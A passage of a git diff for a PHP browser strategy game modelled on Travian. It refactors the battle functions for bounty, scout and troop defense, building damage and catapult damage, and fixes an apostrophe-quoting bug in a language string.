- $dp += round(${'u'.$y}['di'] + (${'u'.$y}['di'] + 300 * ${'u'.$y}['pop'] / 7) * (pow(1.007, $def_ab[$y]) - 1), 4) * $defenders['u'.$y];
- $cdp += round(${'u'.$y}['dc'] + (${'u'.$y}['dc'] + 300 * ${'u'.$y}['pop'] / 7) * (pow(1.007, $def_ab[$y]) - 1), 4) * $defenders['u'.$y];
- }else{
- $dp += $defenders['u'.$y] * ${'u'.$y}['di'];
- $cdp += $defenders['u'.$y] * ${'u'.$y}['dc'];
- }
+ /******************************************************************
+ * BOUNTY CALCULATION
+ ******************************************************************/
+ $max_bounty = 0;
- }
- $invol += $defenders['u'.$y]; //total troops
- $units['Def_unit'][$y] = $defenders['u'.$y];
+ for ($i = $start; $i <= $end; $i++) {
+
+ global ${'u'.$i};
+
+ $y = $i - (($att_tribe - 1) * 10);
+
+ $aliveUnits =
+ (int)$Attacker['u'.$i]
+ - (int)$result['casualties_attacker'][$y];
+
+ $max_bounty += $aliveUnits * (int)${'u'.$i}['cap'];
+ }
+
+ $result['bounty'] = $max_bounty;
+
+ return $result;
+}
+
+ /*****************************************
+ Function to process Def Scout
+ *****************************************/
+
+ public function getDataDefScout($defenders, $def_ab, $defender_artefact) {
+
+ $invol = 0;
+ $dp = 0;
+ $cdp = 0;
+ $detected = false;
+
+ /******************************************************************
+ * SCOUT UNITS ONLY
+ ******************************************************************/
+
+ $scoutUnits = [4, 14, 23, 44];
+
+ foreach ($scoutUnits as $y) {
+ $unitAmount = isset($defenders['u'.$y])
+ ? (int)$defenders['u'.$y]
+ : 0;
+ if ($unitAmount <= 0) {
+ continue;
}
- $datadef['dp'] = $dp;
- $datadef['cdp'] = $cdp;
- $datadef['involve'] = $invol;
- return $datadef;
+ global ${'u'.$y};
+ $unitData = ${'u'.$y};
+ $abLevel = isset($def_ab[$y])
+ ? (int)$def_ab[$y]
+ : 0;
+
+ if ($abLevel > 0) {
+ $unitDefense = round(
+ 20 + (
+ 20 + (300 * $unitData['pop'] / 7)
+ ) * (pow(1.007, $abLevel) - 1),
+ 4
+ );
+ $dp += $unitDefense * $unitAmount * $defender_artefact;
+ } else {
+ $dp += $unitAmount * 20 * $defender_artefact;
+ }
+ $detected = true;
+ $invol += $unitAmount;
}
-
- /**
- * @author Kirilloid --> https://github.com/kirilloid/travian/blob/master/src/model/base/combat.ts
- *
- * Calculates the new building level, after damaging it
- *
- * @param int $oldLevel The old building level
- * @param float $damage The damage done by catapults
- * @return int Returns the new building level
- */
-
- public function calculateNewBuildingLevel($oldLevel, $damage){
- $damage -= 0.5;
- if ($damage < 0) return $oldLevel;
-
- while ($damage >= $oldLevel && $oldLevel) $damage -= $oldLevel--;
-
+ return [
+ 'dp' => $dp,
+ 'cdp' => $cdp,
+ 'detect' => $detected,
+ 'involve' => $invol
+ ];
+}
+
+ /*****************************************
+ Function to process Deffence
+ *****************************************/
+
+ public function getDataDef($defenders, $def_ab) {
+
+ $dp = 0;
+ $cdp = 0;
+ $invol = 0;
+
+ for ($y = 1; $y <= 50; $y++) {
+ $unitAmount = isset($defenders['u'.$y])
+ ? (int)$defenders['u'.$y]
+ : 0;
+ if ($unitAmount <= 0) {
+ continue;
+ }
+ global ${'u'.$y};
+ $unitData = ${'u'.$y};
+ $abLevel = isset($def_ab[$y])
+ ? (int)$def_ab[$y]
+ : 0;
+ if ($abLevel > 0) {
+
+ // IMPORTANT:
+ // kept original formula structure / values
+ // only reduced duplicate operations
+
+ $powValue = pow(1.007, $abLevel) - 1;
+ $unitDI = round(
+ $unitData['di'] + (
+ $unitData['di'] + (300 * $unitData['pop'] / 7)
+ ) * $powValue,
+ 4
+ );
+ $unitDC = round(
+ $unitData['dc'] + (
+ $unitData['dc'] + (300 * $unitData['pop'] / 7)
+ ) * $powValue,
+ 4
+ );
+ $dp += $unitDI * $unitAmount;
+ $cdp += $unitDC * $unitAmount;
+ } else {
+ $dp += $unitAmount * $unitData['di'];
+ $cdp += $unitAmount * $unitData['dc'];
+ }
+ $invol += $unitAmount;
+ }
+ return [
+ 'dp' => $dp,
+ 'cdp' => $cdp,
+ 'involve' => $invol
+ ];
+}
+
+ /********************************************************************
+ Function to calculates the new building level, after damaging it
+ ********************************************************************/
+
+ public function calculateNewBuildingLevel($oldLevel, $damage) {
+
+ $oldLevel = (int)$oldLevel;
+ $damage = (float)$damage - 0.5;
+ if ($damage < 0 || $oldLevel <= 0) {
return $oldLevel;
}
-
- /**
- * @author Kirilloid --> https://github.com/kirilloid/travian/blob/master/src/model/base/combat.ts
- *
- * Calculates the damage done by catapults
- *
- * @param int $catapultsQuantity The quantity of catapults which take part in the attack
- * @param double $catapultsUpgrade The catapults upgrade multiplier, affected by the cataputls level in the blacksmith
- * @param double $durability The building durability, affected by the stonemason's lodge
- * @param double $ADRatio The attack points / defensive points ratio
- * @param double $strongerBuildings The artifacts multiplier, which strengthens the building, affected by durability artifacts
- * @param double $moraleBonus The defender morale bonus
- * @return double Returns the damage done by catapults
- */
-
- public function calculateCatapultsDamage($catapultsQuantity, $catapultsUpgrade, $durability, $ADRatio, $strongerBuildings, $moraleBonus){
- $catapultsEfficiency = floor($catapultsQuantity / ($durability * $strongerBuildings));
- return 4 * ($this->sigma)($ADRatio) * $catapultsEfficiency * $catapultsUpgrade / $moraleBonus;
+ while ($oldLevel > 0 && $damage >= $oldLevel) {
+ $damage -= $oldLevel;
+ $oldLevel--;
}
+ return $oldLevel;
+ }
+
+ /****************************************************
+ Function to calculates the damage done by catapults
+ ****************************************************/
+
+ public function calculateCatapultsDamage(
+ $catapultsQuantity,
+ $catapultsUpgrade,
+ $durability,
+ $ADRatio,
+ $strongerBuildings,
+ $moraleBonus
+) {
+
+ $divider = $durability * $strongerBuildings;
+ if ($divider <= 0) {
+ $divider = 1;
+ }
+ $catapultsEfficiency = floor($catapultsQuantity / $divider);
+ $sigma = $this->sigma($ADRatio);
+ return (
+ 4
+ * $sigma
+ * $catapultsEfficiency
+ * $catapultsUpgrade
+ / $moraleBonus
+ );
+}
};
$battle = new Battle;
diff --git a/GameEngine/Lang/en.php b/GameEngine/Lang/en.php
index 0cd14503..acd85225 100755
--- a/GameEngine/Lang/en.php
+++ b/GameEngine/Lang/en.php
@@ -1156,7 +1156,7 @@ define('WHICH_OCCUPIED', 'of which are occupied.');
define('TRAINING_COMMENCE_TRAPPER', 'Training can commence when trapper is completed.');
define('TRAPPER_DESC', 'The trapper protects your village with well hidden traps. This means that unwary enemies can be imprisoned and won't be able to harm your village any more.
Troops cannot be freed with a raid. If the owner of the traps release the captives all of the traps will be repaired automatically.
Tribe-specific: Gauls only');
-define('HEROSMANSION', 'Hero's Mansion');
+define("HEROSMANSION", "Hero's Mansion");
define('HERO_READY', 'Hero will be ready in ');
define('NAME_CHANGED', 'Hero name has been changed');
define('NOT_UNITS', 'Not available units');
diff --git a/Templates/version.tpl b/Templates/version.tpl
index 504bb132..46792df7 100644
--- a/Templates/version.tpl
+++ b/Templates/version.tpl
@@ -16,7 +16,9 @@
#################################################################################
?>
-